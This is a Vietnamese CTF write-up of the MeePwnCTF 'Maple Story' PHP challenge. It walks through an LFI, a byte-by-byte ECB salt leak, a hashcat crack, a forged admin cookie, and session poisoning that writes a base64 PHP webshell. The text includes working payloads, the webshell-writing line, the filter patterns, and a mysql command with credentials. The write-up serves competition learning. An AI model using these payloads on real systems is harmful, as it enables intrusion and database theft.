Maple Story
TLDR; Art of Code Reuse (LFI + PHP)
Đề bài:
Dò lỗ
Về cơ bản khi tiếp nhận đề bài thì thường mình là sẽ đi hiểu challenge đó làm gì:
- Khi có sourcecode:
- Tìm cách cài đặt để Debug (debug được là điều kiện cần để solve trong rất nhiều lần chơi của mình)
- Sau khi cài đặt xong, so sánh với trang gốc mà người ra đề đã setup
- Tiếp tục như khi không có sourcecode
- Khi không có sourcecode:
- Khám phá flow của ứng dụng: theo mình có 2 dạng: blackbox, graybox (chân móc tay bóp - đặt breakpoint và debug), whitebox.
Theo mình thấy setup môi trường giả lập lại đề bài và debug là cả một vấn đề - và để bớt bị bị bỡ ngỡ thì bạn cũng có thể tin dùng vào các sản phẩm IDE của Jetbrain như PHPStorm, PyCharm, hay Intellij IDEA kếp hợp với môi trường thực thi như Docker hay Vagrant.
Trở lại bài, nếu không có gì khác biệt thì "index.php" sẽ được thực thi đầu tiên, thế nên cũng không nên bỏ qua nó
Ở dòng thứ 42: include($_GET['page']) là một thứ thuận tiện với người phát triển nhưng lại khiến ứng dụng đọc và thực thi bất kì file nào mà người dùng định nghĩa, tuy nhiên chưa đủ dữ kiện để có thể kết luận đây có phải là lỗi LFI hay không. Với hướng này, điều kiện đủ là đi tìm một nơi cho phép ghi nội dung vào một file.
Một điểm chú ý nữa là rất nhiều cụm kí tự đã bị loại bỏ trong hàm bad_word như :
- \/\/ dùng trong các từ khóa php wrapper : data:// php:// http:// ...
- \(.+\) : để gọi hàm PHP
- `.+` : chặn shell execute qua backtick trong PHP
- ...
Tiếp tục xem xét các tính năng cơ bản là register, login, ... kết nối các thành phần trong ứng dụng, cố gắng vẽ ra luồng thực thi trong tưởng tượng thì nhận thấy: các điểm query mysql đều được lọc cẩn thận qua "mysqli_real_escape_string", ít có khả năng bị SQL injection.
Các tính năng ẩn chỉ dành cho admin được đặt trong admin.php và được kiểm tra bởi một hàm "is_admin" nằm trong thư viện "mapl_library.php"
Việc kiểm tra hoàn toàn phụ thuộc vào biến _role nằm trong cookie.
Tần suất xuất hiện của biến "$salt" hơi dày đặc ở các vị trí nhạy cảm cũng đáng nghi, đặc biệt là xuất hiện trong hàm encrypt với 3 chữ ECB.
Sang thế giới crypto một chút là ECB là một kiểu mã hóa đối xứng theo khối, mà khối này không ảnh hưởng đến khối khác. Nhưng nhìn chung ECB thường là có lỗi để khai thác. Tuy nhiên để thám mã cần biết các dữ liệu này là gì. Mà nó lại nằm trong $_SESSION là phần được lưu trữ ở phía server.
Trở lại manh mối đầu tiên, include cho phép ta đọc và thực thi mã PHP bên trong, tuy nhiên ta có thể đọc mà PHP không thực mã thi nếu trong đó không chứa PHP hợp lệ (magic). Như vậy là quá đủ để có thể lấy dữ liệu từ phía server.
PHP sử dụng một giá trị cookie PHPSESSID để lưu tên định danh của session (thường là dạng 32 kí tự hex của 16 byte), và phần giá trị lưu tại "/var/lib/php/sessions/sess_<PHPSESSID>"
Có thể xác nhận bằng cách:
Và
Khi lộ ra thế này thì việc còn lại là cần một người hiểu về crypto để làm lộ ra $salt, vì có $salt là có admin, có nhiều hướng hơn để làm.
Với 128 bit = 16 byte thì:
- user = encrypt (email+salt, key)
- character_name = encrypt (name+salt, key)
với ECB, các block là độc lập với nhau nên giống message == giống cipher
Nếu như email không thay đổi được thì username lại có thể: trong file setting.php
Kiểm tra độ dài salt:
Ta đã biết và kiểm soát được độ dài username (<= 22):
Mỗi khi độ dài của (username + salt) % 16 == 0 thì ta lại có thêm 1 block 16 byte khác.
Với username độ dài:
- 1 -> 2 block : <=32
- 15 -> 2 block : <=32
- 16 -> 3 block : >=32
Lại trở lại tính chất của ECB, các block là độc lập, giả sử ta có tình huống sau:
nếu ở vị trí cuối cùng trong block 1 của name, trùng với vị trí cuối cùng của block 1 của email thì kết quả là block 1 của cipher sẽ trùng nhau.
Tuy nhiên, phần cuối cùng của email lại là 1 kí tự từ salt -> Bingo.
Với mỗi email ta sẽ leak được 1 kí tự từ salt.
Code thôi.
Quá trình sẽ là :
- đăng kí email
- thay đổi character name
- so sánh block dữ liệu đầu tiên.
Khi chỉ còn cách vạch đích 5 kí tự thì xe đứt phanh, lí do là:
để email hợp lệ thì ta phải hy sinh 5 kí tự "x@x.x" tuy nhiên quá lười để xử lí đoạn này, mình quyết định brute khi có được phần đầu là "ms_g00d_0ld",
Sử dụng hashcat ở chế độ bruteforce mask (-a 3) loại hash là sha256 (-m 1400) với custom charset -1 kết hợp của lowercase (?l) và số (?d) và gạch dưới (_) đối với dãy đã biết "userms_g00d_0ld" và 5 kí tự thuộc charset ?1:
./hashcat-cli64.bin -m 1400 -a 3 -1 ?l?d_ --increment hashes userms_g00d_0ld?1?1?1?1?1
với hashes chứa sha256 cần crack:
sha256("user" + salt) == 8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe
Kết quả thu được là salt = ms_g00d_0ld_g4m3
Như vậy _role để vào admin.php là sha256("adminms_g00d_0ld_g4m3") = "a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054"
Trong admin cho phép cho người chơi cung cấp thú cho người chơi và lưu log vào session. Tuy nhiên, lần lưu log này cho phép người dùng chèn một giá trị vào trong $_SESSION, gợi ý về khả năng khai thác của LFI.
"search_name_by_email" trả về tên của nhân vật tạo từ email, mà tên ta có thể quản lý được, kịch bản đơn giản nhất là chèn <?=`$_GET[1]`; , con shell ngắn nhất mình từng biết, tuy nhiên hàm bad_word từ index.php không cho phép RCE đơn giản như vậy. Hơn nữa, chỉ có 22 kí tự được sử dụng, vừa đủ cho <?=include"$_COOKIE[1] , bạn có thể thắc mắc là dấu " cuối cùng ở đâu, nó được hoàn thiện bởi chính cấu trúc session file :D
Khi này, $_COOKIE[1] không hề được loại bỏ bởi bad_word, tức là ta có thể tự do dùng php wrapper để đọc file, cụ thể là mình thử đọc dbconnect.php, kết quả là có được thông tin kết nối database, tuy chỉ là kết nối localhost nhưng lại là user root (??), sau khi giải xong mình đã liên hệ người ra đề để fix.
Do input bị giới hạn, mà mình không nghĩ đến cách giải sáng tạo hơn của các đội khác là dùng command.txt (save_command) để lưu webshell dưới dạng base64 rồi dùng wrapper để decode.
Lúc này đã là tối muộn và chuẩn bị đến world cup, nên mình đi đến một giải pháp khác khá là ngông cuồng :?
Khai thác
Bởi vì session file khi được include thì sẽ luôn thử chạy code PHP bên trong nó, nếu có. Ngoài ra, index.php có chứa 'session_start()', do vậy nếu ta cài đặt biến $_SESSION khi include thì nó cũng sẽ có hiệu lực trong cùng phiên.
PHP cũng như các ngôn ngữ khác có shorthand operator cho các phép toán như +, -, *, /.
Mặt khác, trong PHP, nếu một hằng không tồn tại thì nó sẽ tự mang giá trị kiểu chuỗi và giá trị là tên của hằng.
- <?=$_SESSION[a]=''; có độ dài 19 => key "a" trong session có giá trị ""
- <?=$_SESSION[a].='A'?> có độ dài 22 => key "a" trong session có giá trị "A"
- <?=$_SESSION[a].='B'?> có độ dài 22 => key "a" trong session có giá trị "AB"
Về cơ bản là vậy, tuy nhiên thì do có nhiều cấu trúc mà PHP parser không thể parse hoàn chỉnh. Khi mình thử build "<?php ", "<?= " thì đều không được.
Tuy nhiên vẫn còn một giải pháp khác là multi line comment /* và */
It's code golf time.
It's code golf time.
Về cơ bản là nó trông như thế này.
- edit: thay đổi character name
- trigger: give pet cho email
- check: thực hiện include session.
Thư mục chứa pet cũng tính được bằng salt.
Ôi chưa xong, còn lại là sử dụng thông tin mysql để lấy flag từ database, điều này thực hiện được bởi ta đã có shell 1.php
Khi này file session sẽ là :
character_name|s:96:"ed12020c8b87c9fc995c4fc79e79b740a740584f63ed0f8edd6d2876d3c591dd66687c9d821ce0489725ad7b68af0733";user|s:96:"a875b5ba5a03435222f758f492297d44a07ae8c57faa7af3a452dbd4322ae6d90b96da57677eb247a6539d9e2a32e661";action|s:62:"[11:26:33pm GMT+7] gave babydragon to player <?=$_SESSION[a]?>";a|s:99:"*/;"<?=`cd upload/3ac46ec3bb33edf283a856544355044f/;echo PD89YCRfR0VUWzFdYDsK|base64 -d > 1.php`?>"; |
mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story -e'select * from mapl_config'
MeePwnCTF{__Abus1ng_SessioN_Is_AlwAys_C00L_1337!___}
Với cấu hình sử dụng user root cho database ban đầu, có thể flag đã bị can thiệp (reported)
bài viết quá hay và chi tiết, kiến thức sâu nữa @@!
ReplyDelete